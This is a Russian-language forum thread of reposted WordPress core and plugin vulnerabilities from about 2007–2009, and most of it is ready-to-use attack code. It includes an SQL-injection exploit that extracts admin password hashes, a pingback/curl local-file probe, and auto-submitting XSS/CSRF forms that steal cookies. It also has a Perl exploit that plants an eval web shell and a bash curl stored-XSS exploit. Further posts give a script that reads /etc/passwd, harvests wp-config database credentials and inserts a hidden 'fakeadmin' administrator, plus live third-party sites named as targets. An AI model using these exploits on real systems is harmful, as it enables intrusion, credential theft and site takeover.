ГлавнаяРегистрацияВход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Проверка сайта на уязвимости! » Форум » Уязвимости » Обзор уязвимостей WordPress
Обзор уязвимостей WordPress
DecideДата: Среда, 14.11.2012, 10:59 | Сообщение # 61
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Trackback SQL Injection (2.x<=WordPress<=2.5.1?)

Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно
Открывай файл ./wp-includes/comment.php и находи в нем такой код:
Код:

function do_trackbacks($post_id) {
...
$to_ping = get_to_ping($post_id);
...
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'");
}
}
}
}
 
DecideДата: Среда, 14.11.2012, 11:00 | Сообщение # 62
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
wp-app sql injection (2.2<=WordPress<=2.2.3)

Ну и на закуску, пропущенная всеми древняя уязвимость от Alexander Concha (зато уязвимая функция и сейчас присутствует в вордпрессе без изменений
1. ./wp-includes/atomlib.php
Код:

function xml_escape($string)
{
return str_replace(array('&','"',"'",'<','>'),
array('&','"',''','<','>'),
$string );
}

2. Эксплойт с правами edit_posts
Код:

<?php
$site='lamer.com';
$path='/wp223/wp-app.php?action=/post/1'; //тут айди поста
$user='editor'; //логин на блоге
$passwd='editor'; //пароль на блоге

$auth=base64_encode($user.":".$passwd);
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$data='<feed>
<entry>
<id>http://lamer.com/wp223/2009/03/01/hello-world/</id>
<title type="html">test\</title>
<summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary>
</entry>
</feed>';

$out = "PUT $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-Type: application/atom+xml\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Authorization: Basic $auth\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $out.$data);
fclose($fp);
?>
 
DecideДата: Среда, 14.11.2012, 11:00 | Сообщение # 63
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1)

Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.
Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.
Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание
Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):
1. ./wp-includes/http.php
Код:

class WP_Http_Curl {
function request($url, $args = array()) {
if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );

Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа!
Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл:
Код:

function wp_remote_get($url, $args = array()) {
$objFetchSite = _wp_http_get_object();

return $objFetchSite->get($url, $args);
}

2. Функция, приведенная выше, используется в ./wp-includes/functions.php:
Код:

function wp_remote_fopen( $uri ) {
...
$response = wp_remote_get( $uri, $options );
...
}

3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:
Код:

function pingback_ping($args) {
...
$pagelinkedfrom = $args[0];
$pagelinkedto = $args[1];
...
// Let's check the remote site
$linea = wp_remote_fopen( $pagelinkedfrom );
...

Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим
Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][.
Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php.
А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами:
1. ./ping1/index.php
Код:

<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>

2. ./ping2/index.php
Код:

<a href="http://lamer.com/ping1/?p=2">Ping2</a>

В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:
Код:

// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
return new IXR_Error(0, __('Is there no link to us?'));

В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки.
Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе
Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:
Код:

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>

После отсылки пакета ты сможешь получить 2 ответа от сервера:
1. Если файл c:\boot.ini существует, то блог пришлет такой ответ
Цитата:
Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)

2. Если же такого файла нет, то жди такого ответа
Цитата:
The source URL does not exist.

Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого:
Цитата:
[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]

Содержимое c:\boot.ini остается где-то под катом
Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача
 
DecideДата: Среда, 14.11.2012, 11:00 | Сообщение # 64
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WPML Multilingual CMS
Version: 1.0.0
Last Updated: 2009-6-9
Downloads: 9,424
XSS (PoC)
Код:
<div style="display:none;">
<form action='http://wordpress/wp-content/plugins/sitepress-multilingual-cms/ajax.php?icl_ajx_action=set_default_language' method='post' target="ifr" name="xfrm">
<input name="lang" type="text" value="<script>alert(document.cookie)</script>" />
<input type='submit'>
</form>
<iframe src="" name="ifr" width="1" height="1"></iframe>
<script>
document.xfrm.submit();
document.xfrm.lang.value="en";
setTimeout('document.xfrm.submit()', 1000);
</script>
</div>

PHPINFO
Код:
http://wordpress/wp-cont....pinfo=1

XSS (register_globals = On)
Код:
http://wordpress/wp-cont....[code]= "><script>alert(document.cookie)</script>
http://wordpress/wp-cont....m
 
DecideДата: Среда, 14.11.2012, 11:00 | Сообщение # 65
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
UnGallery
Version: 0.8
Updated: 2009-6-11
Downloads: 226
Remote File Disclosure
PHP код:
if ($_GET['pic']) {
$filename = $_GET['pic'];
$len = filesize($filename);
$lastslash = strrpos($filename, "/");
$name = substr($filename, $lastslash + 1);

header("Content-type: image/jpeg;\r\n");
header("Content-Length: $len;\r\n");
header("Content-Transfer-Encoding: binary;\r\n");
header('Content-Disposition: inline; filename="'.$name.'"'); // Render the photo inline.
readfile($filename);
}

Код:
$ curl http://wordpress/wp-cont....fig.php

Shell Command Execution
PHP код:
$dir = "wp-content/plugins/ungallery/pics/" . $_GET['zip'];

// Create the arrays with the dir's image files
$dp = opendir($dir);
while ($filename = readdir($dp)) {
if (!is_dir($dir."/pics/".$gallery. "/". $filename)) { // If it's a file, begin
$pic_types = array("JPG", "jpg", "GIF", "gif", "PNG", "png");
if (in_array(substr($filename, -3), $pic_types)) $pic_array[] = $filename; // If it's a image, add it to pic array
}
}
foreach ($pic_array as $filename) {
$media_files = $media_files . " " . $dir . "/" . $filename;
}

$output = `zip -u -j $dir/pics.zip $media_files`;

print "<pre>$output</pre>";
print 'Complete. The file can be downloaded <a href="./wp-content/plugins/ungallery/source.php?zip=pics/' . $_GET['zip'] . '/pics.zip">here</a>';
print '<br><br>You can return to the gallery <a href="./gallery?gallerylink=' . $_GET['zip'] .'">here.</a>';

Код:
http://wordpress/wp-cont....xisting
 
DecideДата: Среда, 14.11.2012, 11:00 | Сообщение # 66
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Mood Personalizer
Version: 1.1
Last Updated: 2009-6-11
Downloads: 453
XSS/XSRF
Код:
<form action='http://wordpress/wp-admin/options-general.php?page=mood-personalizer/mood-personalizer.php' method='post' name="xfrm">
<input name="xMPPic" type="text" value='"><script>alert(document.cookie)</script>' />
<input name="xMPHidd" type="text" value='xMPHidd' />
<input type='submit'>
</form>
<script>document.xfrm.submit();</script>

PHP код:
if($_POST['xMPHidd']=="xMPHidd"){
$xMPPicture = $_POST['xMPPic'];
$xMPPictureSize = $_POST['xMPPictureSize'];
$xMPPicture = str_replace(".2",".".$xMPPictureSize,$xMPPicture);
update_option('xMPPic', $xMPPicture);
}

PHP код:
<img src="<?php bloginfo('url'); ?>/wp-content/plugins/mood-personalizer/images/<?php
 
DecideДата: Среда, 14.11.2012, 11:01 | Сообщение # 67
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WordPress Plugin Advanced Twitter Widget 1.0.2 XSS Vuln

http://wordpress.org/extend/plugins/advanced-twitter-widget/
\advanced-twitter-widget.php

©eLwaux 30.06.2009, uasc.org.ua

PHP код:
89: if($_POST['advanced_twitter_widget_value']!=""){
90: $xArrOptions[0]= $_POST['advanced_twitter_widget_title'];
91: $xArrOptions[1]= $_POST['advanced_twitter_widget_value'];
92: $xArrOptions[2]= $_POST['advanced_twitter_widget_type'];
93: $xArrOptions[3]= $_POST['advanced_twitter_widget_count'];
94: update_option('advanced_twitter_widget_options', serialize($xArrOptions));
95: }
97: $xArrOptions = unserialize(get_option('advanced_twitter_widget_op tions'));
101: $xTitle = $xArrOptions[0];
102: $xValue = $xArrOptions[1];
103: $xType = $xArrOptions[2];
104: $xCount = $xArrOptions[3];
111: Title:<br/><input type="text" name="advanced_twitter_widget_title" value="<?php echo $xTitle;?>" /><br/><br/>
112: Account/Search:<br/><input type="text" name="advanced_twitter_widget_value" value="<?php echo $xValue;?>" /><br/><br/>

exploit:
Код:

POST: advanced_twitter_widget_value=">{XSS1}<a "
POST: advanced_twitter_widget_title=">{XSS2}<a "
POST: advanced_twitter_widget_type=.
POST: advanced_twitter_widget_count=.
 
DecideДата: Среда, 14.11.2012, 11:01 | Сообщение # 68
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WordPress Plugin ImHuman 0.0.9 XSS Vuln

http://wordpress.org/extend/plugins/imhuman-a-humanized-captcha/
\imhuman.php

©eLwaux 30.06.2009, uasc.org.ua

PHP код:
151: if(isset( $_POST['do'] )) {
152: if ( function_exists('current_user_can') && !current_user_can('manage_options') )
153: die(__('Cheatin’ uh?'));
154: check_admin_referer($plugin_page);
155:
156: $t['imhuman_api_user'] = $_POST['imhuman_api_user'];
157: $t['imhuman_api_key'] = $_POST['imhuman_api_key'];
158: $t['imhuman_row'] = $_POST['imhuman_row'];
159: $t['imhuman_col'] = $_POST['imhuman_col'];
160: $t['imhuman_sel'] = $_POST['imhuman_sel'];
161: $t['imhuman_exc'] = isset($_POST['imhuman_exc'] ) ? 1 : 0;
162: $t['imhuman_word'] = $_POST['imhuman_word'];
163: $t['imhuman_lang'] = $_POST['imhuman_lang'];
164: update_option( 'imhuman_options', $t );
165: $m = '<p>Settings Saved!</p>';
166: }
167: $options = get_option( 'imhuman_options' );
....
194: <td><input type="text" name="imhuman_api_user" id="imhuman_api_user" value="<?php echo $options['imhuman_api_user']; ?>" /></td>
195: </tr>
196: <tr>
197: <th><?php _e('ImHuman Ap? Key'); ?></th>
198: <td><input type="text" name="imhuman_api_key" id="imhuman_api_key" value="<?php echo $options['imhuman_api_key']; ?>" /></td>

exploit:
Код:

POST: do=.
POST: imhuman_api_user=">{XSS1}<a "
POST: imhuman_api_key=">{XSS1}<a "
POST: imhuman_row=.
POST: imhuman_col=.
POST: imhuman_sel=.
POST: imhuman_word=.

POST: imhuman_lang=.
 
DecideДата: Среда, 14.11.2012, 11:01 | Сообщение # 69
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WordPress Plugin <Live Countdown Timer 1.1> aXSS Vuln
Цитата:
WordPress Plugin <Live Countdown Timer 1.1> aXSS Vuln
http://www.appchain.com/2009/06/live-countdown-timer-1-1/

©eLwaux 30.06.2009, uasc.org.ua

## ## ## ## ## ##

aXSS
\live-countdown-timer\live-countdown-timer.php

-----------------------------------------------------------------------------
142: $xPostArr[0] = $_POST['live_countdown_timer_Title'];
147: update_option('live_countdown_timer_Values', serialize($xPostArr));
....
149: $xDBArr = unserialize(get_option('live_countdown_timer_Value s'));
150: $live_countdown_timer_Title = $xDBArr[0];
169: <input type="tex...le" value="<?php echo $live_countdown_timer_Title;?>" />
-----------------------------------------------------------------------------

exploit:
POST: live_countdown_timer_days = .
POST: live_countdown_timer_Title = ">{aXSS}<div id="
POST: live_countdown_timer_seconds = 12
POST: live_countdown_timer_hours = 11
POST: live_countdown_timer_days = 10
 
DecideДата: Среда, 14.11.2012, 11:01 | Сообщение # 70
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WordPress Plugin <simple-sidebar-navigation 2.1.0> aXSS Vuln
Цитата:
WordPress Plugin <simple-sidebar-navigation 2.1.0> aXSS Vuln

©eLwaux 30.06.2009, uasc.org.ua

## ## ## ## ## ##

aXSS
/simple-sidebar-navigation/settings/settings.php

-----------------------------------------------------------------------------
10: if (isset($_POST['ssn_submit'])):
11: update_option('dropdown_css', $_POST['dropdown_css']);
12: update_option('custom_css', $_POST['custom_css']);
13: update_option('blog_post_links', $_POST['blog_post_links']);
14: update_option('target_attr', $_POST['target_attr']);
...
57: <td><input type="text" name="custom_css" size="100" value="<?php echo $custom_css; ?>">
-----------------------------------------------------------------------------

exploit:
POST: ssn_submit = .
POST: dropdown_css = .
POST: custom_css = ">{XSS}<div id="
POST: blog_post_links = .
POST: target_attr = .
 
DecideДата: Среда, 14.11.2012, 11:02 | Сообщение # 71
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WordPress Plugin Wordpress Toolbar 2.1.1 pXSS & PDisclosure
Код:
WordPress Plugin Wordpress Toolbar 2.1.1 pXSS & PDisclosure
http://wordpress.org/extend/plugins/wordpress-toolbar/
http://abhinavsingh.com/blog/2009/02/wordpress-toolbar-plugin/

Dork: "inurl:wp-toolbar.php"

## ## ## ##

eLwaux©2009 UASC.org.ua

## ## ## ##

Path Disclosure

/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
( call to undefined function add_action() )
-----------------------------------------------------------------
1: <?php
12: include_once("socialsites.php");
14: add_action('admin_menu','wordpress_toolbar_admin') ;
-----------------------------------------------------------------

example:
http://www.watblog.com/wp-cont....bar.php
http://www.maktabe.com/wp-cont....bar.php
http://helenoticias.com/wp-cont....bar.php
http://seattlesocialmedia.com/wp-cont....bar.php

## ## ## ##

XSS

/wp-content/plugins/wordpress-toolbar/toolbar.php
-----------------------------------------------------------------
30: $tourl = $_GET['wp-toolbar-tourl'];
42: $blogtitle = $_GET['wp-toolbar-blogtitle'];
52: <title><?php echo $blogtitle; ?> - Toolbar</title>
56: <iframe frameborder="0" noresize="noresize" src="<?php echo $tourl; ?>"
-----------------------------------------------------------------

PoC:
wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title>{XSS}
wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-tourl=">{XSS}<div id="

example:
http://www.alymelfashionfusion.com/Blog....le ><script>alert(/xss/);</script>
http://www.pclinuxos.hu/wp-cont....le ><script>alert(/xss/);</script>
http://www.watblog.com/wp-cont....lbar-to
 
DecideДата: Среда, 14.11.2012, 11:02 | Сообщение # 72
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit
надо логин:пароль админа

Код:
Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit
------------
http://wordpress.org/extend/plugins/add-uroksu-catalog/
Add UROK.su Catalog
Version: 1.03
------------

\wp-content\plugins\add-uroksu-catalog\urok.su.class.php
----------------------------------------------------------------------
|56| if (isset($_POST['UPDATE'])) {
|57| MyUROKsu_user=$_REQUEST['login'];
|58| $file_name=$file_name=dirname(__FILE__).'/login.txt';
|59| $w=fopen($file_name,'w');
|60| fwrite($w,$MyUROKsu_user);
|61| fclose($w);
|62| print($this->update_catalog($MyUROKsu_user));
|63| echo '</p>';
|64| }
----------------------------------------------------------------------

Steps to code execution:
1) /wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php
POST: UPDATE=.& login=<?php=@eval($_GET['c']);?>
(your code will be saved to file:
/wp-content/plugins/add-uroksu-catalog/login.txt)
2) include this file & code execute:
/wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=system('id');

perl exploit:
----------------------------------------------------------------------

PHP код:
#! /usr/bin/perl -w

use LWP::UserAgent;
use warnings;

print "\n WP ] add-uroksu-catalog < 1.03 [ exploit\n";
print " eLwaux©uasc 2009\n\n";

if (!$ARGV[2]) {
print " usage:\n".
" expl.pl http://site.com/wp/index.php adminLogin adminPass\n".
exit(0);
}

my $mHost = $ARGV[0];
my $mAdmL = $ARGV[1];
my $mAdmP = $ARGV[2];

#$mAdmL =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
#$mAdmP =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;

my $HOST = $1 if ($mHost =~ /http://(.+?)//);

my $UA = LWP::UserAgent->new;
$UA->timeout(20);
$UA->default_header('Referer' => $mHost.'wp-login.php');
$UA->default_header('Cookie' => 'wordpress_test_cookie=WP+Cookie+check;');

# login to WP
my $page = $UA->post($mHost.'wp-login.php',
{
log => $mAdmL,
pwd => $mAdmP,
# rememberme => 'forever',
submit => 'Войти',
redirect_to => $mHost.'wp-admin/',
testcookie => 1
}
)->as_string;
my $cookie = '';
my @SetCookie = ($page =~ m/Set-Cookie: (.+?=.+?);/g);
foreach my $SC (@SetCookie) {
$cookie .= $SC.';';
}
if (length($cookie)<100) {
print ' - bad login:password!';
exit(0);
}
print ' - good login:password!'."\n";
$UA->default_header('Cookie' => $cookie);

print ' .. sending exploit..'."\n";
# send EXPLOIT
$page = $UA->post($mHost.'wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php',
{
login => '<?php @eval($_GET[\'c\']);?>',
UPDATE => 1
}
)->as_string;
print ' + exploit send!'."\n";

# try execute simple code
$page = $UA->get($mHost.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=print_r($_SERVER);')->as_string;
if ($page =~ /[SERVER_SOFTWARE] => (.+?)[rn]+/) {
print ' + result of test1: '.$1."\n";
print ' + result of test2: '.$1."\n" if ($page =~ /[SCRIPT_FILENAME] => (.+?)[rn]+/);
} else {
print ' - perhaps code is not injected!'."\n";
}

print ' ! FINISH!'."\n\n";
print ' !! your shell:'."\n";
print ' '.$mHost."\n".
' '.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}'."\n";

exit(0);
Код:

----------------------------------------------------------------------

simple result on localhost:
----------------------------------------------------------------------
> expl.pl http://localhost/cms/wordpress/ admin "4#@!v^w!*)kW"

WP ] add-uroksu-catalog < 1.03 [ exploit
eLwaux©uasc 2009

- good login:password!
.. sending exploit..
+ exploit send!
+ result of test1: Apache/2.2.11 (Win32) PHP/5.2.9-2
+ result of test2: C:/wamp/www/cms/wordpress/wp-admin/admin.php
! FINISH!

!! your shell:
http://localhost/cms/wordpress/
wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}
 
DecideДата: Среда, 14.11.2012, 11:02 | Сообщение # 73
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit

This can be used to hack 2.8.1 through Remote XSS.

Код:
echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
echo "$0 <url> [postID]"
echo "f.e. $0 www.worstpress.eu"
exit
fi

if [ "X$POSTID" = "X" ]; then
POSTID=1
fi

echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.f romCharCode($WHERE)).value=this.innerHTML;document .getElementById(String.fromCharCode(112,117,98,108 ,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmles s+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]
 
DecideДата: Среда, 14.11.2012, 11:03 | Сообщение # 74
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
WP-Config Discover
Code
1.
       < ?php
    2.
       $paths = array(
    3.
           "blog",
    4.
           "site",
    5.
           "html",
    6.
           "www",
    7.
           "html/blog",
    8.
           "www/blog",
    9.
           "site/blog",
   10.
           "wordpress",
   11.
           "wp",
   12.
           "www/wp",
   13.
           "www/wordpress",
   14.
           "html/wordpress",
   15.
           "html/wp",
   16.
           "public_html",
   17.
           "public_html/blog",
   18.
           "public_html/wp",
   19.
           "public_html/wordpress",
   20.
       );
   21.
       $files = array(
   22.
           "wp-config.php",
   23.
       );
   24.
       print "Checking for ….\n";
   25.
       if(!is_readable("/etc/passwd"))    die("err0r: can’t read /etc/passwd (safe mode?)");
   26.
       $_f = @file("/etc/passwd");
   27.
       foreach($_f as $usr){
   28.
           $usr = explode(":", $usr);
   29.
           $uid = $usr[2];
   30.
           $home = $usr[5];
   31.
           $usr = $usr[0];
   32.
           if($uid >= 1000){
   33.
               print $usr." (uid:".$uid."): ".$home."\n";
   34.
               foreach($paths as $path){
   35.
                   if(file_exists($home."/".$path)) {
   36.
                   print "\tSearching in ".$home."/".$path."\n";
   37.
                       foreach($files as $file){
   38.
                           if(file_exists($home."/".$path."/".$file)){
   39.
                    print "\t\tFound: ".$file."\n";
   40.
                    $__f = @file($home."/".$path."/".$file);
   41.
                    foreach($__f as $line){
   42.
                    if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
   43.
                    if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
   44.
                    if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
   45.
                    if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
   46.
                    if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
   47.
                    flush();
   48.
                    }
   49.
                    print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
   50.
                    if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
   51.
                    if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
   52.
                    flush();
   53.
                           }
   54.
                       }
   55.
                   }
   56.
                   flush();
   57.
               }
   58.
               flush();
   59.
           }
   60.
       }
   61.
       function getURL($user, $pass, $db, $host, $prefix){
   62.
           preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
   63.
           preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
   64.
           preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
   65.
           preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
   66.
           preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
   67.
           $sql = @mysql_connect($host, $user, $pass);
   68.
           @mysql_select_db($db);
   69.
           $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
   70.
           @mysql_close($sql);
   71.
           return @mysql_result($_q, 0, ‘option_value’);
   72.
       }
   73.
         
   74.
       function UserAdmin($action, $user, $pass, $db, $host, $prefix){
   75.
               preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
   76.
               preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
   77.
               preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
   78.
               preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
   79.
               preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
   80.
               $sql = @mysql_connect($host, $user, $pass);
   81.
               @mysql_select_db($db);
   82.
           if($action == "create"){
   83.
               $wp_uid = rand(9990,99999);
   84.
               @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(’dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
   85.
               @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
   86.
           }
   87.
           if($action == "delete"){
   88.
               mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
   89.
               mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
   90.
           }
   91.
           @mysql_close($sql);
   92.
           return "fakeadmin/dummie";
   93.
       }
   94.
       ?>
 
DecideДата: Среда, 14.11.2012, 11:03 | Сообщение # 75
Полковник
Группа: Администраторы
Сообщений: 241
Репутация: 0
Статус: Offline
Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.

Открываем файл WP-trackbacks.php:
Код:
if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}

$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding

Код:
$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);

Эта функция преобразует $text в UTF-8. Но если мы сделаем так:
Код:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);

mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня:
Код:
<?php
//wordpress Resource exhaustion Exploit
// by rooibo
//security@wordpress.org contacted and get a response,
